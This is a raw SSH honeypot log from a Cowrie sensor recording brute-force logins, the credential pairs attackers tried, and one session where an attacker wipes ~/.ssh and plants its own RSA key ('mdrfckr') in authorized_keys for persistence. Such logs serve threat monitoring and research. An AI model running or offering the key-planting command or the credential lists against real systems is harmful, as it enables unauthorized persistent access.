{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:22.535180Z","session":"f7344c0f97ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:22.676620Z","src_ip":"37.77.150.119","session":"f7344c0f97ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:01:22.819138Z","src_ip":"37.77.150.119","session":"f7344c0f97ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.92.222","src_port":40860,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce959ce1a5c","protocol":"ssh","message":"New connection: 178.128.92.222:40860 (10.17.0.5:22) [session: 7ce959ce1a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:01.227287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:01.232675Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:01.479167Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:02.500581Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.049597Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.053291Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.057733Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.308246Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.841732Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:03.845535Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:04.097128Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:04.100645Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.92.222","src_port":48066,"dst_ip":"10.17.0.5","dst_port":22,"session":"e593138b4650","protocol":"ssh","message":"New connection: 178.128.92.222:48066 (10.17.0.5:22) [session: e593138b4650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:04.337691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:04.342771Z","src_ip":"178.128.92.222","session":"e593138b4650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:04.592124Z","src_ip":"178.128.92.222","session":"e593138b4650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:05.602696Z","src_ip":"178.128.92.222","session":"e593138b4650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:06.851692Z","src_ip":"178.128.92.222","session":"e593138b4650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.92.222","src_port":48072,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c4dc31fbac","protocol":"ssh","message":"New connection: 178.128.92.222:48072 (10.17.0.5:22) [session: c6c4dc31fbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:07.110878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:07.116462Z","src_ip":"178.128.92.222","session":"c6c4dc31fbac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:07.370262Z","src_ip":"178.128.92.222","session":"c6c4dc31fbac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:08.416746Z","src_ip":"178.128.92.222","session":"c6c4dc31fbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:08.666563Z","src_ip":"178.128.92.222","session":"7ce959ce1a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:08.673598Z","src_ip":"178.128.92.222","session":"c6c4dc31fbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":37006,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7cff63e41d4","protocol":"ssh","message":"New connection: 61.245.10.43:37006 (10.17.0.5:22) [session: d7cff63e41d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:16.269066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:16.273653Z","src_ip":"61.245.10.43","session":"d7cff63e41d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:16.527037Z","src_ip":"61.245.10.43","session":"d7cff63e41d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2025","message":"login attempt [webserver/webserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:17.566853Z","src_ip":"61.245.10.43","session":"d7cff63e41d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:18.822702Z","src_ip":"61.245.10.43","session":"d7cff63e41d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":59300,"dst_ip":"10.17.0.5","dst_port":22,"session":"11e60f51023c","protocol":"ssh","message":"New connection: 27.111.32.174:59300 (10.17.0.5:22) [session: 11e60f51023c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:34.878463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:34.883438Z","src_ip":"27.111.32.174","session":"11e60f51023c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:35.132288Z","src_ip":"27.111.32.174","session":"11e60f51023c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ems","password":"ems1234","message":"login attempt [ems/ems1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:36.158325Z","src_ip":"27.111.32.174","session":"11e60f51023c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:37.409656Z","src_ip":"27.111.32.174","session":"11e60f51023c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43470,"dst_ip":"10.17.0.5","dst_port":22,"session":"0204ef715f87","protocol":"ssh","message":"New connection: 2.57.122.208:43470 (10.17.0.5:22) [session: 0204ef715f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:50.626879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:50.724359Z","src_ip":"2.57.122.208","session":"0204ef715f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:50.861021Z","src_ip":"2.57.122.208","session":"0204ef715f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:51.727194Z","src_ip":"2.57.122.208","session":"0204ef715f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:02:52.828897Z","src_ip":"2.57.122.208","session":"0204ef715f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c38721f69c0","protocol":"ssh","message":"New connection: 193.32.162.145:38624 (10.17.0.5:22) [session: 5c38721f69c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:18.222641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:18.228465Z","src_ip":"193.32.162.145","session":"5c38721f69c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 